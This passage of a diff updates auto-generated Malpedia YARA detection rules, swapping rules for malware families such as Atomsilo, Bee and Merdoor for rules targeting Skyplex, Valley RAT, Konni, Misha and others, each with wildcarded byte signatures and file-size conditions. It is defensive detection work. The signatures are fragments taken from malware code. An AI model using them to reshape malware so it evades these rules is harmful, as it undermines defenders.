-		$sequence_3 = { 83a500fcffff00 51 8d8df8fbffff e8???????? 898500fcffff }
-		$sequence_4 = { 8b4508 dd00 ebc6 c745e0d8924100 e9???????? c745e0e0924100 }
-		$sequence_5 = { 6a30 eb27 3bcb 7f0e 7c08 81fa0000800c 7704 }
-		$sequence_6 = { 7309 8b04c5e06f4100 5d c3 33c0 5d c3 }
-		$sequence_7 = { 85c0 7433 8bce e8???????? 8bf8 }
-		$sequence_8 = { 33c9 8bc1 3914c5b89b4100 7408 40 83f81d 7cf1 }
-		$sequence_9 = { 53 8d85f0f7ffff 50 56 }
+		$sequence_0 = { 895e2c e8???????? 8b460c 83c404 3bc3 7419 }
+		$sequence_1 = { 8b4c2408 8b7e10 51 e8???????? 8b560c 52 e8???????? }
+		$sequence_2 = { 52 68???????? ff15???????? 8d442444 }
+		$sequence_3 = { e8???????? 83c408 8b4618 50 895e24 895e28 895e2c }
+		$sequence_4 = { 394c2414 765b 53 41 81e1ff000080 }
+		$sequence_5 = { 4b 81cb00ffffff 43 0fb61403 30142f 47 }
+		$sequence_6 = { 895710 8b4614 894e14 8b5718 894714 8b4618 895618 }
+		$sequence_7 = { 2bc2 50 8d54241c 52 }
+		$sequence_8 = { 46 8a1c06 881c01 881406 }
+		$sequence_9 = { 8b4c2408 8b7e10 51 e8???????? }
 
 	condition:
-		7 of them and filesize <296960
+		7 of them and filesize <1032192
 }
-rule MALPEDIA_Win_Atomsilo_Auto : FILE
+rule MALPEDIA_Win_Skyplex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5c5abdc6-8981-5d86-b9f4-d4db3c6db3a6"
+		id = "3d9ea458-10c2-53d2-a125-12c3c77bb27b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atomsilo_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.skyplex_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "12073cc9a4e235a243c621f25e39a1bc781a5d45de9a635e40dc44153d51bb08"
+		logic_hash = "d0704b78b2354a7199559252cd2d4f927c47dc758745bd631528996f74a24c6c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143051,34 +149949,34 @@ rule MALPEDIA_Win_Atomsilo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 90 488d054b810900 488903 488d0571780900 48894308 48c74338ffffffff }
-		$sequence_1 = { 4403e8 498b17 48638c24a0000000 4803ca 49890f 483bca 731c }
-		$sequence_2 = { 4d8bc4 488bd7 488d8d50010000 e8???????? b930000000 e8???????? 488bd8 }
-		$sequence_3 = { 488b7dd0 4885c9 741d 488d51ff 488d14d7 0f1f440000 48833a00 }
-		$sequence_4 = { 0409 83f052 8844245d 8b442450 040a 83f045 8844245e }
-		$sequence_5 = { 488d05dd6c0700 488907 488bc7 0f104318 488b5c2430 f30f7f4718 4883c420 }
-		$sequence_6 = { 4156 4883ec50 488b5830 498bf9 498bf0 4c8bf2 4c8be1 }
-		$sequence_7 = { 488d15e7b60500 0fb60c0a c1e103 4863c9 488d1546720900 33440a03 8944243c }
-		$sequence_8 = { 0f94c0 480106 ebc0 488b7c2438 4c8b8424f0000000 4c8b9c24c8000000 4c8b9424d0000000 }
-		$sequence_9 = { 4883ec28 83792801 8b4228 7423 83f801 740f e8???????? }
+		$sequence_0 = { 6a00 ff15???????? 898508fcffff ff15???????? }
+		$sequence_1 = { c3 8bff 56 57 33ff 8db704984100 ff36 }
+		$sequence_2 = { 59 e9???????? 8b36 8bce c1f905 8b0c8dc0af4100 }
+		$sequence_3 = { 8b7d08 8bc7 c1f805 8d3485c0af4100 8b06 }
+		$sequence_4 = { 50 e8???????? 50 8b4df8 8b11 8b45f8 50 }
+		$sequence_5 = { c785b8f6ffff684c4100 c785bcf6ffffb04c4100 ff15???????? 50 e8???????? 83c404 }
+		$sequence_6 = { 33d2 b9???????? 57 8bc2 c1f805 8b0485c0af4100 8bfa }
+		$sequence_7 = { 83bdf0feffff03 7327 8b85f0feffff 8b0c857c904100 51 }
+		$sequence_8 = { 66898c4558f7ffff 8d9558f7ffff 52 8d8540fbffff 50 }
+		$sequence_9 = { 6a01 ff15???????? c78544f6ffff01000000 eb0f 8b8d44f6ffff 83c101 898d44f6ffff }
 
 	condition:
-		7 of them and filesize <1785856
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Bee_Auto : FILE
+rule MALPEDIA_Win_Valley_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cf854a1b-a3fa-5497-9620-9eb04ca1acba"
+		id = "5aadade8-2e86-5c22-9399-653890e95f9a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bee"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bee_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.valley_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.valley_rat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "d1087a1b19c31419362e6bad586912e9950c25554053241c2a8ca3db38a0bc54"
-		score = 75
-		quality = 75
+		logic_hash = "788630470fd0066c9dad5026f208a936da1b0fab9009cb8b3a3ebf9a9cd14823"
+		score = 60
+		quality = 45
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -143090,32 +149988,32 @@ rule MALPEDIA_Win_Bee_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8326010000 8bce d1e9 ba49922409 2bd1 3bd6 7304 }
-		$sequence_1 = { 83c404 89742418 c644244806 3bf3 741d 8b542414 }
-		$sequence_2 = { 668944241c 52 8d44241c 50 8d4c2438 c744242000000000 e8???????? }
-		$sequence_3 = { e8???????? 8b542424 56 6a00 52 e8???????? 8b7c2434 }
-		$sequence_4 = { 8d8424a4000000 8a10 3a11 751a 3ad3 7412 }
-		$sequence_5 = { 8bf9 80bfd800000000 754e 6a11 6a02 6a02 }
-		$sequence_6 = { e8???????? 8d0cb6 c1e104 03c8 89470c 894710 }
-		$sequence_7 = { 8bc3 8bcf e8???????? 2bf7 b867666666 f7ee }
-		$sequence_8 = { e8???????? 83c414 8b45fc ff34c5e4314200 }
-		$sequence_9 = { 64a300000000 8b6c2420 33db 895d04 885d0c }
+		$sequence_0 = { 8b4910 e8???????? 2500020000 33d2 0bc2 7506 32c0 }
+		$sequence_1 = { e8???????? 50 8d4708 50 e8???????? 8bbdf0efffff 83c414 }
+		$sequence_2 = { 8bf0 83c404 85f6 742f e8???????? 84c0 ba???????? }
+		$sequence_3 = { 50 e8???????? 8b5654 33c9 8b4508 83c408 894d08 }
+		$sequence_4 = { 8d04dd00000000 50 e8???????? 8bf0 83c404 85f6 7447 }
+		$sequence_5 = { 8bc2 c1e81f 03c2 8d0c40 8b07 8d04c8 894704 }
+		$sequence_6 = { 8b55f4 4f 75ce 8b4df8 8b7d08 8b5510 3bca }
+		$sequence_7 = { 8b36 c6043e00 5f 5e 5d c3 55 }
+		$sequence_8 = { eb64 33c0 668945e4 e8???????? ff75dc 8b7b04 8d45e3 }
+		$sequence_9 = { c745fc00000000 53 8bce e8???????? 8b06 83f801 741e }
 
 	condition:
-		7 of them and filesize <394240
+		7 of them and filesize <2256896
 }
-rule MALPEDIA_Win_Merdoor_Auto : FILE
+rule MALPEDIA_Win_Rawpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a99af5cd-bc04-5bf5-95d0-af03ff89050f"
+		id = "286abeec-e79d-5e9e-ac0c-a8048144fd9d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.merdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.merdoor_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rawpos_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "b95cd242972456e72e114f53ab84ee24aaf18f568fbe98e73f19f67ea1e8459f"
+		logic_hash = "aa38577b3237b68cd5a9fc2dd4b4a121098ac6a8fc6a84d75e625596e4cdd326"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143129,34 +150027,34 @@ rule MALPEDIA_Win_Merdoor_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5e 3bc8 7215 50 8d8398000000 50 6aff }
-		$sequence_1 = { 8d85f0fdffff 8bcb 50 e8???????? 8b4dfc f7d8 5f }
-		$sequence_2 = { 8ac1 eb04 b011 2ac1 f6d0 fec1 }
-		$sequence_3 = { 0f87af000000 8d8ee4020000 894df4 7443 8b01 8bf0 8bd0 }
-		$sequence_4 = { ffd7 8986c0000000 83bec400000000 750f 8d4588 }
-		$sequence_5 = { 3044159c 42 80f90f 72da 660f6f05???????? 32c9 f30f7f853cffffff }
-		$sequence_6 = { 85c0 751c 8d85ecfeffff 50 ff15???????? 8b400c 8b00 }
-		$sequence_7 = { 85c0 7403 8d3410 8b440b10 85c0 7438 }
-		$sequence_8 = { 53 56 8bf1 57 83cfff 8d9eec020000 53 }
-		$sequence_9 = { 8986c0000000 83bec400000000 750f 8d4588 50 ff7604 ffd7 }
+		$sequence_0 = { 47 bb01000000 3b5df8 7d17 8b45bc }
+		$sequence_1 = { eb22 8b550c ff02 8b0a 83f963 }
+		$sequence_2 = { 3b7594 7231 8b5520 52 6a00 8b4d18 8bd6 }
+		$sequence_3 = { c700???????? e9???????? bb40000000 ff45e0 e9???????? 33c0 8d55b8 }
+		$sequence_4 = { 7544 56 6a00 8b5518 83c703 52 53 }
+		$sequence_5 = { 83e805 7422 eb3b 8d55b4 8955b0 eb41 8b4db0 }
+		$sequence_6 = { c1e003 33db 8a1a 03c3 83c0d0 8b5dfc ff45fc }
+		$sequence_7 = { 83e201 83c703 8955e4 eb3f 33c9 8a0f }
+		$sequence_8 = { 51 50 ff550c 83c408 ff4df8 f7c601000000 0f855afaffff }
+		$sequence_9 = { 837da4ff 750c 8bc3 43 3b45ec 0f82abfeffff 837de400 }
 
 	condition:
-		7 of them and filesize <307200
+		7 of them and filesize <466944
 }
-rule MALPEDIA_Win_Lightbunny_Auto : FILE
+rule MALPEDIA_Win_Konni_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "546c8a57-6f91-59bb-b683-389534c380bb"
+		id = "7138d9e1-4213-5d32-a401-6f7ceedaf286"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lightbunny_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.konni"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.konni_auto.yar#L1-L461"
 		license_url = "N/A"
-		logic_hash = "4c0608cdc020e5347f646e557ecb414bd8f3027b0aca947da82d4930945e8be1"
+		logic_hash = "81aa3927272d55dae2dfea8fc0fbd2614b2bb50237cc36185301dfe759c8d64e"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -143168,32 +150066,72 @@ rule MALPEDIA_Win_Lightbunny_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6bc930 8b048520ae4100 0fb6440828 83e040 5d }
-		$sequence_1 = { 8bc1 83e13f c1f806 6bc930 8b048520ae4100 f644082801 }
-		$sequence_2 = { 83c404 6a02 ff35???????? ffd3 }
-		$sequence_3 = { 894708 0fb74602 50 ff15???????? }
-		$sequence_4 = { ff35???????? ff15???????? c705????????00000000 8b4dfc }
-		$sequence_5 = { 51 ff15???????? 85c0 740e 8b400c 8b00 }
-		$sequence_6 = { 8d3c9d58ab4100 f00fb10f 8bc8 85c9 740b }
-		$sequence_7 = { 83c404 83f801 0f851dffffff 8b5710 33c9 b8???????? 90 }
-		$sequence_8 = { 6bc030 c1f906 03048d20ae4100 eb02 8bc6 80782900 7522 }
-		$sequence_9 = { 8b75f8 33ff 8b0d???????? 8bc6 8945e4 894de8 }
+		$sequence_0 = { 7908 4e 81ce00ffffff 46 8a9c35f8feffff 8819 889435f8feffff }
+		$sequence_1 = { 8945fc 53 56 57 b910000000 be???????? 8d7db0 }
+		$sequence_2 = { 7527 0fb655eb 0fb645ea 52 }
+		$sequence_3 = { 889435f8feffff 0fb609 0fb6d2 03ca 81e1ff000080 7908 }
+		$sequence_4 = { 0fbef1 d0f9 83e601 884c15f4 8970e8 42 }
+		$sequence_5 = { 49 81c900ffffff 41 8a940df8feffff 8d8c0df8feffff 0fb6da 03f3 }
+		$sequence_6 = { 83e601 897004 d0f9 0fbef1 83e601 8930 }
+		$sequence_7 = { 68b6030000 6a0d 50 ff15???????? }
+		$sequence_8 = { 6a01 ff15???????? 50 a3???????? }
+		$sequence_9 = { 33c9 83f802 7508 890d???????? }
+		$sequence_10 = { eb1e 83f804 740f c705????????02000000 }
+		$sequence_11 = { 740f c705????????02000000 83f801 750a c705????????01000000 890d???????? }
+		$sequence_12 = { 7508 890d???????? eb1e 83f804 }
+		$sequence_13 = { 8916 56 e8???????? 8a8c30dec44600 }
+		$sequence_14 = { e8???????? 83c40c 6804010000 8d8df4fdffff 51 ff15???????? }
+		$sequence_15 = { 83e203 83f908 7229 f3a5 ff2495f0444000 8bc7 }
+		$sequence_16 = { 8d85f8feffff 50 ffd6 68???????? 8d8df0faffff }
+		$sequence_17 = { 4c89742420 ff15???????? 488bd8 4885c0 744f }
+		$sequence_18 = { bbedffffff 03dd 81eb00200200 83bd9404000000 899d94040000 0f85d7030000 }
+		$sequence_19 = { e9???????? 8b35???????? 68???????? 8d85f8feffff }
+		$sequence_20 = { ff95b50f0000 898598040000 8bf0 8d7d51 }
+		$sequence_21 = { 6804010000 8d95f8feffff 52 50 ff15???????? }
+		$sequence_22 = { 50 038594040000 59 0bc9 89851a040000 61 7508 }
+		$sequence_23 = { 8b4e08 33db 56 e8???????? 8a9c30c2c44600 }
+		$sequence_24 = { 8bf0 8d7d51 57 56 ff95b10f0000 ab }
+		$sequence_25 = { 33d2 56 e8???????? 8a9435dec44600 5e 84c0 8bfa }
+		$sequence_26 = { 56 33d2 898ddcfeffff 40 57 }
+		$sequence_27 = { 6808020000 6a00 56 c745fc00010000 e8???????? 83c40c 8d45fc }
+		$sequence_28 = { ebab c745e428614000 817de42c614000 7311 8b45e4 }
+		$sequence_29 = { 6a00 6a00 8d8df8feffff 51 8d95f0fcffff }
+		$sequence_30 = { 68???????? 8d8df0faffff 51 ffd6 8b35???????? }
+		$sequence_31 = { 51 6689442414 e8???????? 6808020000 8d942420020000 6a00 }
+		$sequence_32 = { e8???????? 8a8c30a6c44600 5e 8b442414 03ca 03c1 89442414 }
+		$sequence_33 = { 33c0 56 51 668985e8fdffff e8???????? }
+		$sequence_34 = { 488bda 488b15???????? 4889442458 89442450 488b05???????? 482bc2 }
+		$sequence_35 = { 48ffc9 48ffc1 7440 488d542448 458d4e2e }
+		$sequence_36 = { 8bd9 e8???????? 4885c0 7509 488d051f390100 }
+		$sequence_37 = { 4883ec20 488bd9 e8???????? 4c8d1d4b9b0000 }
+		$sequence_38 = { 488b01 8b08 ff15???????? 488d15f3170100 488bcb }
+		$sequence_39 = { e8???????? 59 3bc7 59 a3???????? 7419 68???????? }
+		$sequence_40 = { 743e 8305????????20 8d0c9de0a30010 8d9080040000 8901 3bc2 }
+		$sequence_41 = { 4885c0 7438 33c0 4883c9ff 4c8d8600010000 488bfb }
+		$sequence_42 = { 8d04c0 8b0c8de0a30010 8a448104 83e040 c3 55 8bec }
+		$sequence_43 = { 83c410 837dfc08 752f 68???????? 53 e8???????? }
+		$sequence_44 = { 448d5bf0 498d4e10 4963d3 4d8bcd 4d8bc4 }
+		$sequence_45 = { 8b8fa8af0100 488b87a0af0100 400fb6d6 f6d2 881401 ff87a8af0100 8b97a8af0100 }
+		$sequence_46 = { 59 8a4dff 8d3c85e0a30010 8bc3 80c901 83e01f 884d0b }
+		$sequence_47 = { 488905???????? 8905???????? 488b05???????? 4533c0 48c7c102000080 488905???????? }
+		$sequence_48 = { 8bc3 c1f905 83e01f 8b0c8de0a30010 8d04c0 }
+		$sequence_49 = { 8b442448 448b6e4c 448b7e44 c1e808 4c8bf3 8b5e48 }
 
 	condition:
-		7 of them and filesize <2376704
+		7 of them and filesize <330752
 }
-rule MALPEDIA_Win_Sdbbot_Auto : FILE
+rule MALPEDIA_Win_Misha_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6668321a-45c2-56a4-8219-52041c66e0ea"
+		id = "3791b368-7721-59e9-a6c9-80386ca3e3f7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sdbbot_auto.yar#L1-L188"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misha"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.misha_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "0618d5957379edb357e3ce8de647ff0724885b87e782036bd514add2c7f2cbe6"
+		logic_hash = "20e70ebbe7343afb7f42cf249a2a9fa16b58c61214c6be715dfea2d371ecbbbb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143207,40 +150145,32 @@ rule MALPEDIA_Win_Sdbbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8bf8 ba4d5a0000 6690 }
-		$sequence_1 = { 803e61 7203 83c1e0 81c2ffff0000 03cf }
-		$sequence_2 = { 8bcf 85d2 7418 8bfe 2b7df8 }
-		$sequence_3 = { 8d4901 8841ff 8d5201 83ee01 }
-		$sequence_4 = { 2bd1 03c1 8955ec 8945e4 85d2 0f8560ffffff }
-		$sequence_5 = { 8b7028 33c9 0fb75024 0f1f8000000000 0fb63e }
-		$sequence_6 = { 8b01 03c6 8945e8 eb2e 3daafc0d7c }
-		$sequence_7 = { 6683f803 750b 81e1ff0f0000 013c31 eb27 6683f801 7511 }
-		$sequence_8 = { c3 803d????????00 750c c605????????01 }
-		$sequence_9 = { 33f6 8a27 83c702 84e4 7437 }
-		$sequence_10 = { 7419 0f1f8000000000 0fb602 48ffc2 8801 488d4901 4983e801 }
-		$sequence_11 = { 0f1f840000000000 418b49f8 49ffca 418b11 4903ce 458b41fc }
-		$sequence_12 = { 7204 4883c0e0 4803c1 48ffc2 664503c1 75e5 3d5bbc4a6a }
-		$sequence_13 = { 48833f00 488bd8 75a4 4883c514 837d0000 0f856dffffff }
-		$sequence_14 = { 4903ce 41ffd5 488bf0 4885c0 7474 }
-		$sequence_15 = { 85c0 0f84bb000000 418b9fb0000000 8bf8 4903de }
-		$sequence_16 = { 4d2bc5 0fb601 41880408 488d4901 4883ea01 75ef 450fb74f14 }
-		$sequence_17 = { 4d03fd 41b800300000 448d4940 418b5750 ffd6 418b5750 488bc8 }
+		$sequence_0 = { 0fbe09 03c1 894510 8b45f8 40 8945f8 8b4510 }
+		$sequence_1 = { c20400 55 8bec 51 837d0802 7448 837d0804 }
+		$sequence_2 = { 8945dc 817d140000007e 7607 33c0 e9???????? 8b4524 }
+		$sequence_3 = { 32c0 5d c3 56 8bf0 eb0a 8bce }
+		$sequence_4 = { c78510ffffff04040404 c78514ffffff04040404 c78518ffffff04040404 c7851cffffff04040404 c78520ffffff05050505 c78524ffffff05050505 c78528ffffff05050505 }
+		$sequence_5 = { 85c0 7404 2bf3 8930 b001 }
+		$sequence_6 = { 8b450c 0590010000 50 e8???????? 83c414 b001 e9???????? }
+		$sequence_7 = { 8b4dcc 8d440104 8945cc 837d900f 0f829e000000 837d1c00 741d }
+		$sequence_8 = { 50 e8???????? 8b5508 56 6a1c 59 }
+		$sequence_9 = { 8b4514 e8???????? 0fb64524 85c0 7456 6a00 68ffffff7f }
 
 	condition:
-		7 of them and filesize <1015808
+		7 of them and filesize <710656
 }
-rule MALPEDIA_Win_Collection_Rat_Auto : FILE
+rule MALPEDIA_Win_Atmosphere_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "57812c72-d174-5305-a791-07d9524d5d58"
+		id = "7ba90f14-d41a-58f9-948d-cf574aec7198"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collection_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.collection_rat_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atmosphere_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "47382a0b15866fbc9363efde1f8fbfda4134e668af0afa7d4fd14596481603d4"
+		logic_hash = "0264599b5475822be219779f2f93298a08919e3b2fbd551146e8b50c69fa19e9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143254,32 +150184,32 @@ rule MALPEDIA_Win_Collection_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488b5567 488d4ef0 4803cf 458bc6 e8???????? 85c0 }
-		$sequence_1 = { 488d05870c0100 488bd9 488901 f6c201 740a ba18000000 e8???????? }
-		$sequence_2 = { 488b4138 8938 e9???????? 488b05???????? 488b4808 488b4130 }
-		$sequence_3 = { 4883c102 33d2 e8???????? 488b0d???????? 488b5108 48894218 488b05???????? }
-		$sequence_4 = { 0f8467010000 488bc4 48895808 48897010 48897818 4c897020 55 }
-		$sequence_5 = { 458bf0 0fb7f2 4885c9 0f84d1000000 488b9c24a8000000 4885db }
-		$sequence_6 = { 83a424b000000000 ba14000000 33c9 448d42fa e8???????? 488d0d74740200 ffd0 }
-		$sequence_7 = { e8???????? 482be0 bd00100000 488d8c24e0000000 448bc5 33d2 }
-		$sequence_8 = { 488b4a28 e8???????? 84c0 740b 488bd6 498bcd }
-		$sequence_9 = { 488b4830 4c89542450 bf03000000 897c2448 488d442468 4889442440 488d8424d0000000 }
+		$sequence_0 = { 83ec14 56 8b7104 85f6 }
+		$sequence_1 = { 88460e 33c0 894612 894616 89461a 884e1e }
+		$sequence_2 = { e8???????? 8b4604 85c0 7504 33f6 eb08 }
+		$sequence_3 = { 8bcf ff5338 5f 5e }
+		$sequence_4 = { c645fc02 8bcc 8965e8 50 51 e8???????? }
+		$sequence_5 = { 8bce 8975e8 8806 ff15???????? }
+		$sequence_6 = { 8bc4 89642410 50 e8???????? }
+		$sequence_7 = { 8b7c240c 8bf1 57 ff15???????? 8b470c }
+		$sequence_8 = { 51 83ec10 8bc4 89642410 50 e8???????? }
+		$sequence_9 = { 8bcc 8965e8 50 51 }
 
 	condition:
-		7 of them and filesize <397312
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Evilpony_Auto : FILE
+rule MALPEDIA_Win_Sys10_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e7d929da-c5f9-5c4e-ba1c-7d2c63753499"
+		id = "01030a4d-1840-51b2-a9d0-6bbc4385fa1e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilpony"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.evilpony_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sys10_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "02845c899902aea9d270d9fa0c1670211f713972016e6e56c5e914a4d2e0626d"
+		logic_hash = "6943a43537b8ee069df094c74ea397f99150d4b78d4cfd8ed6ddb44f86656e07"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143293,32 +150223,32 @@ rule MALPEDIA_Win_Evilpony_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 746e 33c0 6a2d 40 668945f0 58 6a04 }
-		$sequence_1 = { e8???????? 50 53 e8???????? 83c410 6a23 }
-		$sequence_2 = { ff15???????? 83f8ff 74d6 8bc7 8b4df8 33cd }
-		$sequence_3 = { 034df0 03c1 8b4db8 c14da802 8d8401a1ebd96e 8b4dac }
-		$sequence_4 = { 33f6 ff15???????? 85c0 782c 53 8bc7 e8???????? }
-		$sequence_5 = { e8???????? c9 c3 55 8bec 83ec18 8b4d08 }
-		$sequence_6 = { e8???????? 8d855cffffff 50 c7855cffffff94000000 ff15???????? 83bd6cffffff02 7509 }
-		$sequence_7 = { 56 e8???????? 83c40c 43 5f 5e 8bc3 }
-		$sequence_8 = { c3 85f6 7436 85ff 7432 53 6a00 }
-		$sequence_9 = { 39b5f0f7ffff 0f8495000000 39b5e4f7ffff 0f8489000000 6a04 8d9ddcf7ffff c785dcf7ffff1000efbe }
+		$sequence_0 = { 6a03 68???????? 68???????? 51 52 50 ff15???????? }
+		$sequence_1 = { 837e04ff 740b 8b16 52 e8???????? 83c404 }
+		$sequence_2 = { 8b4e0c 51 ff15???????? 8b5608 6aff 52 ff15???????? }
+		$sequence_3 = { 56 e8???????? 83c404 85c0 74c6 8b4c2410 896e10 }
+		$sequence_4 = { 6810270000 ff15???????? 33c0 59 }
+		$sequence_5 = { 837e04ff 740b 8b16 52 }
+		$sequence_6 = { 56 89442414 e8???????? 83c404 85c0 7541 }
+		$sequence_7 = { 52 6a05 50 ffd6 8b5308 }
+		$sequence_8 = { 8d4c2413 51 6800400000 52 50 e8???????? }
+		$sequence_9 = { 8b13 52 ffd7 8b4304 50 ffd7 8b4b08 }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Jlorat_Auto : FILE
+rule MALPEDIA_Win_H1N1_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eb5a0545-ab37-5e70-b9eb-6c48eb9adb8a"
+		id = "5e13a49f-72f0-5eb3-a885-2e0245e8f66e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jlorat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jlorat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.h1n1_auto.yar#L1-L170"
 		license_url = "N/A"
-		logic_hash = "c96d7ee2744d61897b682d97d67d56d29e38731c8c93cf3d00f8d6450ca3d2bf"
+		logic_hash = "842ef63a8a089830b40dfc0f60da9194950df4056683b94edaa8a18caec3ebbd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -143332,32 +150262,38 @@ rule MALPEDIA_Win_Jlorat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83ec10 89c1 83c101 83d200 89542450 31c0 }
-		$sequence_1 = { f20f114620 c7464001000000 89e0 8d5620 895004 8908 e8???????? }
-		$sequence_2 = { f20f1086d8020000 f20f108ee0020000 f20f118e28030000 f20f118620030000 f20f108630030000 f20f118648030000 f20f108620030000 }
-		$sequence_3 = { f6861618000001 0f85c0160000 e9???????? 8b4510 8b08 89e0 894804 }
-		$sequence_4 = { eb00 e9???????? 8b559c 8b7580 8b7d84 8b5da4 8b4d88 }
-		$sequence_5 = { e8???????? 8945c8 eb00 8b4dc4 8b45c8 c645e300 8945cc }
-		$sequence_6 = { c745f0ffffffff 89e0 8d4dd8 8908 e8???????? 8b45c8 8b4de8 }
-		$sequence_7 = { f30f118424d8000000 eb43 8b4c2448 8b54244c 89e0 895004 8908 }
